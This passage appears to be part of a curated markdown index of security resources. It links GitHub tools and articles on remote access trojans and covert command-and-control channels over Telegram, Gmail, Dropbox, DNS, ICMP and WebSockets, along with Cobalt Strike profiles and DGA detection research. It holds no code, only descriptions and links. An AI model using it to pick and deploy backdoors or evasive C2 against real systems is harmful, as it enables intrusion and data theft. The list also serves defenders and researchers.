Rat](https://cloudblogs.microsoft.com/microsoftsecure/2011/08/12/weekly-roundup-aug-12-2011-dissecting-a-shady-rat/) - 2011.08 [microsoft] [Weekly Roundup : Aug 12, 2011 : Dissecting a Shady Rat](https://www.microsoft.com/security/blog/2011/08/12/weekly-roundup-aug-12-2011-dissecting-a-shady-rat/) - 2011.08 [bhconsulting] [Operation Shady RAT Claims Widespread Espionage](http://bhconsulting.ie/operation-shady-rat-claims-widespread-espionage/) - 2011.05 [krebsonsecurity] [Something Old is New Again: Mac RATs, CrimePacks, Sunspots & ZeuS Leaks](https://krebsonsecurity.com/2011/05/something-old-is-new-again-mac-rats-crimepacks-sunspots-zeus-leaks/) - 2011.05 [mcafee] [I Smell a RAT: Java Botnet Found in the Wild](https://securingtomorrow.mcafee.com/mcafee-labs/i-smell-a-rat-java-botnet-found-in-the-wild/) - 2011.04 [pediy] [[原创]解决远控重复上线的源码](https://bbs.pediy.com/thread-132080.htm) - 2011.01 [cleanbytes] [AdSocks RAT — about the new Java trojan computer viruses](http://cleanbytes.net/java-trojan-horses-the-new-trojan-viruses-generation) - 2010.10 [sans] [Cyber Security Awareness Month - Day 19 - Remote Access Tools](https://isc.sans.edu/forums/diary/Cyber+Security+Awareness+Month+Day+19+Remote+Access+Tools/9763/) - 2010.09 [pediy] [[翻译]Windows操作系统木马远程控制技术](https://bbs.pediy.com/thread-121388.htm) - 2010.09 [pediy] [[原创]利用qq2010聊天信息获取，打造自己的远程控制](https://bbs.pediy.com/thread-121037.htm) - 2008.09 [sans] [The Lab Rat - Testing Digital Forensics Tools and Gear](https://digital-forensics.sans.org/blog/2008/09/26/the-lab-rat-testing-digital-forensics-tools-and-gear) - 2008.01 [trendmicro] [Will 2008 Really Be The ‘Year of The Rat’?](https://blog.trendmicro.com/trendlabs-security-intelligence/will-2008-really-be-the-year-of-the-rat/) - 2006.11 [trendmicro] [TROJ_STRAT Spams Again](https://blog.trendmicro.com/trendlabs-security-intelligence/troj-strat-spams-again/) - 2005.06 [infosecblog] [Rats!](https://www.infosecblog.org/2005/06/rats/) # <a id="e80bdc9447f3cdc9416282b598b14cf7"></a>Pubic Service For C&C *** ## <a id="17b978a5c371699ccd9a5687ae3f3949"></a>Telegram ### <a id="492b34c27ab06b3696c0464465b74eec"></a>Tools - [**648**Star][1y] [Py] [mehulj94/braindamage](https://github.com/mehulj94/braindamage) Remote administration tool which uses Telegram as a C&C server - [**330**Star][8m] [Py] [mvrozanti/rat-via-telegram](https://github.com/mvrozanti/rat-via-telegram) Windows Remote Administration Tool via Telegram - [**160**Star][4y] [Py] [blazeinfosec/bt2](https://github.com/blazeinfosec/bt2) Blaze Telegram Backdoor Toolkit is a post-exploitation tool that leverages the infrastructure of Telegram as a C&C ### <a id="06365f440cb6fa3e0daf933cb0874c8b"></a>Post - 2018.06 [hispasec] [HeroRat, otro RAT para Android que utiliza Telegram como C&C](https://unaaldia.hispasec.com/2018/06/herorat-otro-rat-para-android-que.html) - 2016.05 [360] [将Telegram打造成C&C平台](https://www.anquanke.com/post/id/83949/) *** ## <a id="a6303482a58e0d14bb8ce1849817ab5a"></a>Twitter ### <a id="ae91172321950c1296375e9c9059d773"></a>Tools - [**658**Star][4y] [Py] [paulsec/twittor](https://github.com/paulsec/twittor) A fully featured backdoor that uses Twitter as a C&C server - [**186**Star][3y] [Go] [petercunha/goat](https://github.com/petercunha/goat) a trojan created in Go, using Twitter as a the C&C server ### <a id="f6f5e4da48152e5b0bc45608a3f9a656"></a>Post - 2017.10 [freebuf] [如何使用Twitter构建C&C服务器](http://www.freebuf.com/sectool/149381.html) - 2017.09 [pentestlab] [Command and Control – Twitter](https://pentestlab.blog/2017/09/26/command-and-control-twitter/) - 2016.08 [welivesecurity] [First Twitter-controlled Android botnet discovered](https://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/) - 2015.12 [] [俄罗斯黑客是如何滥用twitter作为Hammertoss C&C服务器的？](http://www.91ri.org/14743.html) - 2015.10 [freebuf] [当Twitter成为一个功能齐全的后门C&C服务器](http://www.freebuf.com/news/81914.html) - 2012.03 [sans] [Flashback Malware now with Twitter C&C](https://isc.sans.edu/forums/diary/Flashback+Malware+now+with+Twitter+CC/12709/) *** ## <a id="d2041a55efcfc29ca6a257916255b43b"></a>GMail ### <a id="be2346c808f9813f13da3526576e1839"></a>Tools - [**1117**Star][1y] [Py] [byt3bl33d3r/gcat](https://github.com/byt3bl33d3r/gcat) A PoC backdoor that uses Gmail as a C&C server - [**353**Star][3y] [Py] [maldevel/gdog](https://github.com/maldevel/gdog) A fully featured Windows backdoor that uses Gmail as a C&C server - [**22**Star][1y] [Py] [pure-l0g1c/keylogger](https://github.com/pure-l0g1c/keylogger) A simple keylogger that uses Gmail as a C&C ### <a id="4b9fa06652be565e5e53db0b094bfb80"></a>Post - 2017.08 [securityriskadvisors] [The Macro Evolution: Bypassing Gmail’s Virus Filter and Reliably Establishing C2 Channels with Office Macros](http://securityriskadvisors.com/blog/post/the-macro-evolution-bypassing-gmail-s-virus-filter-and-reliably-establishing-c2-channels-with-office-macros/) - 2017.08 [securityriskadvisors] [The Macro Evolution: Bypassing Gmail’s Virus Filter and Reliably Establishing C2 Channels with Office Macros](http://securityriskadvisors.com/blog/the-macro-evolution-bypassing-gmails-virus-filter-and-reliably-establishing-c2-channels-with-office-macros/) - 2017.08 [pentestlab] [Command and Control – Gmail](https://pentestlab.blog/2017/08/03/command-and-control-gmail/) - 2016.05 [n0where] [Python Based Windows Backdoor with Gmail C&C: gDog](https://n0where.net/python-based-windows-backdoor-gmail-cc-gdog) - 2015.07 [blackhillsinfosec] [Command & Control via Gmail](https://www.blackhillsinfosec.com/command-control-via-gmail/) - 2015.06 [freebuf] [巧用Gmail做你的C&C服务器](http://www.freebuf.com/sectool/71246.html) - 2014.10 [virusbulletin] [New IcoScript variant uses Gmail drafts for C&C communication](https://www.virusbulletin.com/blog/2014/10/new-icoscript-variant-uses-gmail-drafts-c-amp-c-communication/) - 2014.07 [byt3bl33d3r] [Pyexfil - Using Python to make Gmail a C&C server](https://byt3bl33d3r.github.io/pyexfil-using-python-to-make-gmail-a-cc-server.html) *** ## <a id="b37bc6073be9a78ed6dbd0d21251fc63"></a>Github ### <a id="842ef8261474bd529ac72c43dcf9c1fa"></a>Tools - [**179**Star][3y] [Py] [maldevel/canisrufus](https://github.com/maldevel/canisrufus) A stealthy Python based Windows backdoor that uses Github as a command and control server ### <a id="d46b05d91c64bed9533dd00ba8eac513"></a>Post - 2018.06 [freebuf] [针对使用Github作为C&C服务的JavaScript后门分析](http://www.freebuf.com/articles/system/173901.html) - 2018.06 [360] [使用 Github 作为 C&C 服务的 JavaScript 后门分析](https://www.anquanke.com/post/id/147103/) - 2017.08 [securityblog] [A stealthy Python based Windows backdoor that uses Github as a C&C server](http://securityblog.gr/4434/a-stealthy-python-based-windows-backdoor-that-uses-github-as-a-cc-server/) - 2017.03 [trendmicro] [Winnti Abuses GitHub for C&C Communications](https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/) - 2016.09 [openanalysis] [The case of getlook23: Using GitHub Issues as a C2](https://oalabs.openanalysis.net/2016/09/18/the-case-of-getlook23-using-github-issues-as-a-c2/) *** ## <a id="618ec29a95a1f90a2696490d1f1afb2f"></a>DropBox ### <a id="a6091cce89af46f8e9deb0efe0a378cc"></a>Tools - [**134**Star][1y] [Py] [0x09al/dropboxc2c](https://github.com/0x09al/dropboxc2c) DropboxC2C is a post-exploitation agent which uses Dropbox Infrastructure for command and control operations. ### <a id="59b97649c4ed0a852859d07d2e640c45"></a>Post - 2019.04 [hackingarticles] [Command and Control with DropboxC2](https://www.hackingarticles.in/command-and-control-with-dropboxc2/) - 2017.09 [freebuf] [使用DropBox功能将其作为C&C服务器](http://www.freebuf.com/sectool/146116.html) - 2017.08 [pentestlab] [Command and Control – DropBox](https://pentestlab.blog/2017/08/29/command-and-control-dropbox/) *** ## <a id="2b58c60ed7c7920f03979756f6f72fcc"></a>Blockchain ### <a id="920d0c6167385c71e171ccbe71397f7a"></a>Tools - [**46**Star][1y] [Go] [xpn/blockchainc2](https://github.com/xpn/blockchainc2) A POC C2 server and agent to explore just if/how the Ethereum blockchain can be used for C2 - [**35**Star][3m] [Py] [geek-repo/c2-blockchain](https://github.com/geek-repo/c2-blockchain) This is a concept poc of command and control server implemented over blockchain ### <a id="3d26ec5c4c50edaaf343903e5fb182c2"></a>Post - 2019.12 [freebuf] [分析隐藏在比特币区块链中的Pony C&C服务器](https://www.freebuf.com/articles/blockchain-articles/221822.html) *** ## <a id="1e53961ca8fc592a588e18a5f1519078"></a>Other ### <a id="77cdae7f8911e93ff055f270ef9bf562"></a>Tools - [**513**Star][1y] [Go] [mthbernardes/gtrs](https://github.com/mthbernardes/gtrs) uses Google Translator as a proxy to send arbitrary commands to an infected machine - [**102**Star][4m] [Py] [nccgroup/gitpwnd](https://github.com/nccgroup/gitpwnd) GitPwnd is a network penetration tool that lets you use a git repo for command and control of compromised machines - [**97**Star][2y] [Py] [arno0x/webdavc2](https://github.com/arno0x/webdavc2) A WebDAV PROPFIND C2 tool - [**93**Star][2y] [PS] [bkup/slackshell](https://github.com/bkup/slackshell) PowerShell to Slack C2 - [**84**Star][2y] [Go] [0x09al/browser-c2](https://github.com/0x09al/browser-c2) Post Exploitation agent which uses a browser to do C2 operations. - [**69**Star][13d] [Py] [itskindred/redviper](https://github.com/itskindred/redviper) redViper is a proof of concept Command & Control framework that utilizes Reddit for communications. - [**66**Star][2y] [Py] [lukebaggett/google_socks](https://github.com/lukebaggett/google_socks) A proof of concept demonstrating the use of Google Drive for command and control. - [**29**Star][2y] [Py] [ajinabraham/xenotix-xbot](https://github.com/ajinabraham/xenotix-xbot) Xenotix xBOT is a Cross Platform PoC Bot that abuse certain Google Services to implement it's C&C - [**26**Star][3y] [Py] [dsnezhkov/octohook](https://github.com/dsnezhkov/octohook) Git Web Hook Tunnel for C2 - [**23**Star][10d] [PS] [netspi/sqlc2](https://github.com/netspi/sqlc2) SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent. - [**22**Star][2y] [Py] [woj-ciech/social-media-c2](https://github.com/woj-ciech/social-media-c2) Script is a proof of concept how to control your machine by using social media sites. - [**16**Star][10d] [Py] [securemode/trelloc2](https://github.com/securemode/trelloc2) Simple C2 over the Trello API - [**14**Star][1y] [Py] [j3ssie/c2s](https://github.com/j3ssie/c2s) Command and Control server on Slack - [**8**Star][2y] [Py] [maldevel/dicerosbicornis](https://github.com/maldevel/dicerosbicornis) A fully featured Windows backdoor that uses email as a C&C server - [**7**Star][3y] [Py] [killswitch-gui/flask_appengine_redirector](https://github.com/killswitch-gui/flask_appengine_redirector) Google App Engine Flask C2 redirector ### <a id="8842ea68ff727ac4d5d970405f152161"></a>Post - 2019.01 [paloaltonetworks] [DarkHydrus delivers new Trojan that can use Google Drive for C2 commu](https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/) - 2017.01 [forcepoint] [Carbanak Group uses Google for malware command-and-control](https://www.forcepoint.com/blog/security-labs/carbanak-group-uses-google-malware-command-and-control) - 2016.08 [blackhillsinfosec] [Google Docs becomes Google SOCKS: C2 Over Google Drive](https://www.blackhillsinfosec.com/google-docs-becomes-google-socks-c2-over-google-drive/) - 2014.08 [paloaltonetworks] [Pivot on Google Code C2 Reveals Additiona](https://unit42.paloaltonetworks.com/pivot-google-code-c2-reveals-additional-malware/) - 2013.04 [rsa] [Zeus C&C Server Poses as Google to Evade Detection](https://community.rsa.com/community/products/netwitness/blog/2013/04/17/zeus-cc-server-poses-as-google-to-evade-detection) # <a id="9f6f77f1fcf614c9738dfeac9cc5d1d3"></a>Communication Protocol *** ## <a id="7485e724ef5efd1daf9d672bd72fb595"></a>DNS ### <a id="41df71c75c08038e17e5526fe0afceb5"></a>Domain Generation Algorithm(DGA) #### <a id="a2e73ce71da73fb1b4ab8cb52449d839"></a>Tools - [**318**Star][1m] [Py] [baderj/domain_generation_algorithms](https://github.com/baderj/domain_generation_algorithms) Some results of my DGA reversing efforts - [**220**Star][17d] [Scala] [sotera/spark-distributed-louvain-modularity](https://github.com/sotera/spark-distributed-louvain-modularity) Spark / graphX implementation of the distributed louvain modularity algorithm - [**209**Star][3y] [Py] [endgameinc/dga_predict](https://github.com/endgameinc/dga_predict) Predicting Domain Generation Algorithms using LSTMs - [**132**Star][2m] [Py] [andrewaeva/dga](https://github.com/andrewaeva/dga) The repository that contains the algorithms for generating domain names, dictionaries of malicious domain names. Developed to research the possibility of applying machine learning and neural networks to detect and classify malicious domains. - [**117**Star][6m] [Py] [360netlab/dga](https://github.com/360netlab/dga) Suspicious DGA from PDNS and Sandbox. - [**49**Star][2y] [java] [toufikairane/andromalware](https://github.com/tfairane/andromalware) Android Malware for educational purpose - [**40**Star][4y] [Py] [pchaigno/dga-collection](https://github.com/pchaigno/dga-collection) A collection of known Domain Generation Algorithms - [**31**Star][4y] [Py] [endgameinc/sans_thir16](https://github.com/endgameinc/sans_thir16) SANS Hunting on the Cheap - [**31**Star][3y] [Py] [staaldraad/fastfluxanalysis](https://github.com/staaldraad/fastfluxanalysis) Scripts to detect Fast-Flux and DGA using DNS query responses - [**28**Star][2y] [Py] [philarkwright/dga-detection](https://github.com/philarkwright/dga-detection) DGA Domain Detection using Bigram Frequency Analysis - [**13**Star][3y] [Py] [cisco-talos/goznym](https://github.com/Cisco-Talos/goznym) - [**6**Star][1y] [Py] [matthoffman/degas](https://github.com/matthoffman/degas) DGA-generated domain detection using deep learning models - [**4**Star][3m] [PHP] [navytitanium/eitest-tools-scripts-iocs](https://github.com/navytitanium/eitest-tools-scripts-iocs) - [**1**Star][2m] [Py] [bkcs-hust/lstm-mi](https://github.com/bkcs-hust/lstm-mi) A LSTM based framework for handling multiclass imbalance in DGA botnet detection #### <a id="7c21e329221f50f2b9c1918ab01c26fd"></a>Post - 2019.10 [Cooper] [DGA-Detect: Using Machine Learning For Collaborative DGA Detection - Tammo Krueger](https://www.youtube.com/watch?v=p17EZa-CTZ0) - 2019.07 [covert] [Auxiliary Loss Optimization for Hypothesis Augmentation for DGA Domain Detection](http://www.covert.io/auxiliary-loss-optimization-for-hypothesis-augmentation-for-dga-domain-detection/) - 2019.07 [covert] [Getting started with DGA Domain Detection Research](http://www.covert.io/getting-started-with-dga-research/) - 2019.05 [arxiv] [[1905.01078] CharBot: A Simple and Effective Method for Evading DGA Classifiers](https://arxiv.org/abs/1905.01078) - 2019.02 [arxiv] [[1902.08909] MaskDGA: A Black-box Evasion Technique Against DGA Classifiers and Adversarial Defenses](https://arxiv.org/abs/1902.08909) - 2018.12 [hitbsecconf] [#HITB2018DXB: Enhancing DL DGA Detection Models Using Separate Character Embedding - Vikash Yadav](https://www.youtube.com/watch?v=jm7wH2G0h6c) - 2018.12 [KacperSzurek] [[PODCAST] Jak działają dynamicznie generowane domeny - DGA?](https://www.youtube.com/watch?v=2iDwVGaxvEA) - 2018.12 [cmu] [DGA Domains with SSL Certificates? Why?](https://insights.sei.cmu.edu/cert/2018/12/dga-domains-with-ssl-certificates-but-why.html) - 2018.11 [arxiv] [[1811.08705] Inline Detection of Domain Generation Algorithms with Context-Sensitive Word Embeddings](https://arxiv.org/abs/1811.08705) - 2018.10 [arxiv] [[1810.02023] Detecting DGA domains with recurrent neural networks and side information](https://arxiv.org/abs/1810.02023) - 2018.01 [akamai] [A Death Match of Domain Generation Algorithms](https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html) - 2017.11 [OALabs] [Reverse Engineering a DGA (Domain Generation Algorithm)](https://www.youtube.com/watch?v=wX1ZGt_dWdI) - 2017.08 [cyber] [DGA classification and detection for automated malware analysis](https://cyber.wtf/2017/08/30/dga-classification-and-detection-for-automated-malware-analysis/) - 2017.05 [akamai] [Spotlight on Malware DGA Communication Technique](https://blogs.akamai.com/2017/05/spotlight-on-malware-dga-communication-technique.html) - 2017.05 [akamai] [What Are Domain Generation Algorithms (DGAs) And Why You Should Care?](https://blogs.akamai.com/2017/05/what-are-domain-generation-algorithms-dgas-and-why-you-should-care.html) - 2017.02 [rsa] [DGA Detection](https://community.rsa.com/community/products/netwitness/blog/2017/02/01/dga-detection) - 2016.12 [govcert] [Tofsee Spambot features .ch DGA - Reversal and Countermesaures](https://www.govcert.admin.ch/blog/26/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures) - 2016.12 [govcert] [Tofsee Spambot features .ch DGA - Reversal and Countermesaures](https://www.govcert.ch/blog/26/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures) - 2016.12 [360] [New Mirai DGA Seed 0x91 Brute Forced](http://blog.netlab.360.com/new-mirai-dga-seed-0x91-brute-forced/) - 2016.12 [360] [Now Mirai Has DGA Feature Built in](http://blog.netlab.360.com/new-mirai-variant-with-dga/) - 2016.12 [sans] [Mirai - now with DGA](https://isc.sans.edu/forums/diary/Mirai+now+with+DGA/21799/) - 2016.11 [fidelissecurity] [Vawtrak DGA Round 2](https://www.fidelissecurity.com/threatgeek/2016/11/vawtrak-dga-round-2) - 2016.11 [endgame] [Endgame Research @ AISec: Deep DGA](https://www.endgame.com/blog/technical-blog/endgame-research-aisec-deep-dga) - 2016.11 [arxiv] [[1611.00791] Predicting Domain Generation Algorithms with Long Short-Term Memory Networks](https://arxiv.org/abs/1611.00791) - 2016.05 [cybereason] [Dissecting Domain Generation Algorithms](https://www.cybereason.com/blog/cybereason-labs-dissecting-domain-generation-algorithms) - 2016.02 [forcepoint] [Locky's New DGA - Seeding the New Domains [RUSSIA UPDATE: 26/FEB/16]](https://www.forcepoint.com/blog/security-labs/lockys-new-dga-seeding-new-domains-russia-update-26feb16) - 2015.10 [cert] [How non-existent domain names can unveil DGA botnets](https://www.cert.pl/en/news/single/lang_pljak-nieistniejace-nazwy-domenowe-moga-pomoc-w-wykryciu-botnetow-dgalang_pllang_enhow-non-existent-domain-names-can-unveil-dga-botnets-lang_en/) - 2015.07 [cybereason] [Detecting the Unknown: Protecting Against DGA-Based Malware](https://www.cybereason.com/blog/detecting-the-unknown-protecting-against-dga-based-malware) - 2015.07 [sans] [Detecting Random - Finding Algorithmically chosen DNS names (DGA)](https://isc.sans.edu/forums/diary/Detecting+Random+Finding+Algorithmically+chosen+DNS+names+DGA/19893/) - 2015.07 [cybereason] [The FBI vs. GameOver Zeus: Why The DGA-Based Botnet Wins](https://www.cybereason.com/blog/the-fbi-vs-gameover-zeus-why-the-dga-based-botnet-wins) - 2015.05 [cert] [DGA botnet domains: malicious usage of pseudo random domains](https://www.cert.pl/en/news/single/dga-botnet-domains-malicious-usage-of-pseudo-random-domains/) - 2015.04 [cert] [DGA botnet domains: on false alarms in detection](https://www.cert.pl/en/news/single/dga-botnet-domains-false-alarms-in-detection/) - 2015.03 [securelist] [Sinkholing Volatile Cedar DGA Infrastructure](https://securelist.com/sinkholing-volatile-cedar-dga-infrastructure/69421/) - 2015.03 [talosintelligence] [Threat Spotlight: Dyre/Dyreza: An Analysis to Discover the DGA](https://blog.talosintelligence.com/2015/03/threat-spotlight-dyredyreza-analysis-to.html) - 2014.11 [tetrane] [Meet us at "Forum Innovation DGA 2014"](http://blog.tetrane.com/2014/11/meet-us-at-forum-innovation-dga-2014.html) - 2014.10 [f5] [Tinba Malware: Domain Generation Algorithm Means New, Improved, and Persistent](https://f5.com/labs/articles/threat-intelligence/malware/tinba-malware-domain-generation-algorithm-means-new-improved-and-persistent-22440) - 2014.08 [trendmicro] [Gameover Increases Use of Domain Generation Algorithms](https://blog.trendmicro.com/trendlabs-security-intelligence/gameover-increases-use-of-domain-generation-algorithms/) - 2014.06 [bruteforcelab] [Shadowserver Gameover Zeus DGA HTTP](https://bruteforcelab.com/shadowserver-gameover-zeus-dga-http.html) - 2014.03 [talosintelligence] [Decoding Domain Generation Algorithms (DGAs) Part III - ZeusBot DGA Reproduction](https://blog.talosintelligence.com/2014/03/decoding-domain-generation-algorithms.html) - 2014.02 [talosintelligence] [Decoding Domain Generation Algorithms (DGAs) Part II - Catching ZeusBot Injection into Explorer.exe](https://blog.talosintelligence.com/2014/02/decoding-domain-generation-algorithms_20.html) - 2014.02 [talosintelligence] [Decoding Domain Generation Algorithms (DGAs) - Part I](https://blog.talosintelligence.com/2014/02/decoding-domain-generation-algorithms.html) - 2012.01 [cert] [ZeuS – P2P+DGA variant – mapping out and understanding the threat](https://www.cert.pl/en/news/single/zeus-p2pdga-variant-mapping-out-and-understanding-the-threat/) ### <a id="d70a62f77fa20a2219e81fa61527e644"></a>Tools - [**1855**Star][8m] [C++] [iagox86/dnscat2](https://github.com/iagox86/dnscat2) create an encrypted command-and-control (C&C) channel over the DNS protocol, which is an effective tunnel out of almost every network. - [**832**Star][6d] [Go] [bishopfox/sliver](https://github.com/bishopfox/sliver) a general purpose cross-platform implant framework that supports C2 over Mutual-TLS, HTTP(S), and DNS - [**386**Star][4y] [Py] [ahhh/reverse_dns_shell](https://github.com/ahhh/reverse_dns_shell) A python reverse shell that uses DNS as the c2 channel - [**277**Star][1y] [Py] [trycatchhcf/packetwhisper](https://github.com/trycatchhcf/packetwhisper) Stealthily exfiltrate data and defeat attribution using DNS queries and text-based steganography. Avoid the problems associated with typical DNS exfiltration methods. Transfer data between systems without the communicating devices directly connecting to each other or to a common endpoint. No need to control a DNS Name Server. - [**276**Star][4m] [Go] [sensepost/godoh](https://github.com/sensepost/godoh) A DNS-over-HTTPS Command & Control Proof of Concept - [**225**Star][2y] [PS] [lukebaggett/dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell) A Powershell client for dnscat2, an encrypted DNS command and control tool. - [**176**Star][2y] [C++] [0x09al/dns-persist](https://github.com/0x09al/dns-persist) DNS-Persist is a post-exploitation agent which uses DNS for command and control. - [**41**Star][2m] [Erlang] [homas/ioc2rpz](https://github.com/homas/ioc2rpz) ioc2rpz is a place where threat intelligence meets DNS. - [**38**Star][2m] [JS] [inquest/threatkb](https://github.com/inquest/threatkb) Knowledge base workflow management for YARA rules and C2 artifacts (IP, DNS, SSL) (ALPHA STATE AT THE MOMENT) ### <a id="fa377fafdbd3ef80574411ef3a54c693"></a>Post - 2019.10 [freebuf] [goDoH：一款使用了DNS-over-HTTPS作为传输端口的C2框架](https://www.freebuf.com/articles/network/214268.html) - 2019.08 [trustfoundry] [Using Iodine for DNS Tunneling C2 to Bypass Egress Filtering](https://trustfoundry.net/using-iodine-for-dns-tunneling-c2-to-bypass-egress-filtering/) - 2019.07 [freebuf] [利用DNS隧道构建隐蔽C&C信道](https://www.freebuf.com/articles/network/208242.html) - 2019.04 [4hou] [DNScat2工具:通过DNS进行C&C通信](https://www.4hou.com/tools/17226.html) - 2019.04 [hackingarticles] [dnscat2: Command and Control over the DNS](https://www.hackingarticles.in/dnscat2-command-and-control-over-the-dns/) - 2018.10 [aliyun] [使用DNS over HTTPS（DoH）构建弹性C2基础架构](https://xz.aliyun.com/t/3068) - 2017.09 [pentestlab] [Command and Control – DNS](https://pentestlab.blog/2017/09/06/command-and-control-dns/) - 2017.04 [securelist] [Use of DNS Tunneling for C&C Communications](https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/) - 2017.01 [blackhillsinfosec] [PowerShell DNS Command & Control with dnscat2-powershell](https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/) - 2016.10 [deepsec] [DeepSec2016 Talk: Behavioral Analysis from DNS and Network Traffic – Josh Pyorre](http://blog.deepsec.net/deepsec2016-talk-behavioral-analysis-dns-network-traffic-josh-pyorre/) - 2016.07 [sans] [Command and Control Channels Using "AAAA" DNS Records](https://isc.sans.edu/forums/diary/Command+and+Control+Channels+Using+AAAA+DNS+Records/21301/) - 2016.06 [freebuf] [技术报告：APT组织Wekby利用DNS请求作为C&C设施，攻击美国秘密机构](http://www.freebuf.com/articles/network/107914.html) - 2016.05 [paloaltonetworks] [New Wekby Attacks Use DNS Requests As Command and Control](https://unit42.paloaltonetworks.com/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/) - 2015.07 [n0where] [Tunneling C&C Over DNS: dnscat2](https://n0where.net/tunneling-cc-over-dns-dnscat2) - 2014.04 [sans] [Be on the Lookout: Odd DNS Traffic, Possible C&C Traffic](https://isc.sans.edu/forums/diary/Be+on+the+Lookout+Odd+DNS+Traffic+Possible+CC+Traffic/18047/) - 2013.07 [rsa] [Zeus Command and Controls Hiding in DNS TXT Record Responses](https://community.rsa.com/community/products/netwitness/blog/2013/07/02/zeus-command-and-controls-hiding-in-dns-txt-record-responses) - 2011.11 [sans] [Digital Forensics Case Leads: PFIC 2011 Report, DNS forensics, Massive Flaws in Amazon EC2?](https://digital-forensics.sans.org/blog/2011/11/11/digital-forensics-case-leads-pfic-2011-report-dns-forensics-massive-flaws-in-amazon-ec2) - 2011.08 [christian] [Report - Paper 'On Botnets that use DNS for Command and Control' accepted at EC2ND 2011](https://christian-rossow.de/articles/Botnets_Using_DNS_based_Command_and_Control_Channels.php) *** ## <a id="867ed7efa4643442ef6859571db8a587"></a>ICMP ### <a id="aa2a205557d269a563191e7fc7f7eb0a"></a>Post - 2019.07 [hackingarticles] [Command and Control & Tunnelling via ICMP](https://www.hackingarticles.in/command-and-control-tunnelling-via-icmp/) - 2019.04 [ghostlulzhacks] [C2 — ICMP Backdoor](https://medium.com/p/fb4842019806) - 2018.11 [blackhillsinfosec] [How To: C2 Over ICMP](https://www.blackhillsinfosec.com/how-to-c2-over-icmp/) - 2017.07 [pentestlab] [Command and Control – ICMP](https://pentestlab.blog/2017/07/28/command-and-control-icmp/) - 2017.03 [blackhillsinfosec] [Bypassing Cylance: Part 3 – Netcat & Nishang ICMP C2 Channel](https://www.blackhillsinfosec.com/bypassing-cylance-part-3-netcat-nishang-icmp-c2-channel/) *** ## <a id="fe3abb0c040999744a648ed68780835c"></a>WebSocket ### <a id="097f22edaf98529c95353d8edef562b7"></a>Tools - [**245**Star][2y] [Py] [arno0x/wsc2](https://github.com/arno0x/wsc2) A WebSocket C2 Tool - [**131**Star][9d] [C++] [xorrior/raven](https://github.com/xorrior/raven) CobaltStrike External C2 for Websockets ### <a id="f2f397345d35d2cc574a4689ad4c8293"></a>Post - 2019.04 [hackingarticles] [Command & Control: WebSocket C2](https://www.hackingarticles.in/command-control-websocketc2/) - 2018.07 [blackhillsinfosec] [Command and Control with WebSockets WSC2](https://www.blackhillsinfosec.com/command-and-control-with-websockets-wsc2/) - 2017.12 [pentestlab] [Command and Control – WebSocket](https://pentestlab.blog/2017/12/06/command-and-control-websocket/) - 2017.12 [n0where] [WebSocket C2 Communication Channel: WSC2](https://n0where.net/websocket-c2-communication-channel-wsc2) - 2017.11 [arno0x0x] [Using WebSockets and IE/Edge for C2 communications](https://arno0x0x.wordpress.com/2017/11/10/using-websockets-and-ie-edge-for-c2-communications/) # <a id="1c28538afe533f545b540cbd78637241"></a>C&C *** ## <a id="e8d16b3301a2ab9109b503b89ec6eece"></a>Cobalt Strike ### <a id="f587c1f0baaf7aa1d9e9c5fe533c7a6d"></a>Tools - [**462**Star][2y] [rsmudge/malleable-c2-profiles](https://github.com/rsmudge/malleable-c2-profiles) Malleable C2 is a domain specific language to redefine indicators in Beacon's communication. This repository is a collection of Malleable C2 profiles that you may use. These profiles work with Cobalt Strike 3.x. - [**217**Star][2y] [Py] [bluscreenofjeff/malleable-c2-randomizer](https://github.com/bluscreenofjeff/malleable-c2-randomizer) A script to randomize Cobalt Strike Malleable C2 profiles and reduce the chances of flagging signature-based detection controls - [**195**Star][1y] [PS] [qax-a-team/cobaltstrike-toolset](https://github.com/QAX-A-Team/CobaltStrike-Toolset) Aggressor Script, Kits, Malleable C2 Profiles, External C2 and so on - [**188**Star][2y] [C#] [ryhanson/externalc2](https://github.com/ryhanson/externalc2) A library for integrating communication channels with the Cobalt Strike External C2 server - [**165**Star][6m] [threatexpress/malleable-c2](https://github.com/threatexpress/malleable-c2) Cobalt Strike Malleable C2 Design and Reference Guide - [**160**Star][11d] [Py] [threatexpress/cs2modrewrite](https://github.com/threatexpress/cs2modrewrite) Convert Cobalt Strike profiles to modrewrite scripts - [**146**Star][2y] [Py] [und3rf10w/external_c2_framework](https://github.com/und3rf10w/external_c2_framework) Python api for usage with cobalt strike's External C2 specification - [**105**Star][5m] [xx0hcd/malleable-c2-profiles](https://github.com/xx0hcd/malleable-c2-profiles) Cobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike - [**67**Star][2y] [C] [outflanknl/external_c2](https://github.com/outflanknl/external_c2) POC for Cobalt Strike external C2 - [**56**Star][24d] [1135/1135-cobaltstrike-toolkit](https://github.com/1135/1135-cobaltstrike-toolkit) about CobaltStrike - [**55**Star][1y] [Py] [truneski/external_c2_framework](https://github.com/truneski/external_c2_framework) Python api for usage with cobalt strike's External C2 specification - [**41**Star][3y] [bluscreenofjeff/malleablec2profiles](https://github.com/bluscreenofjeff/malleablec2profiles) Malleable C2 profiles for Cobalt Strike - [**41**Star][2y] [Go] [empty-nest/emptynest](https://github.com/empty-nest/emptynest) a plugin based C2 server framework - [**12**Star][5m] [TS] [hattmo/c2profilejs](https://github.com/hattmo/c2profilejs) Web UI for creating C2 profiles for Cobalt Strike ### <a id="249b843c26732ce792d7448c2601f595"></a>Post - 2018.12 [freebuf] [关于Cobalt Strike的Malleable-C2-Profiles浅析](https://www.freebuf.com/articles/rookie/189948.html) - 2018.09 [specterops] [A Deep Dive into Cobalt Strike Malleable C2](https://medium.com/p/6660e33b0e0b) - 2018.09 [threatexpress] [A Deep Dive into Cobalt Strike Malleable 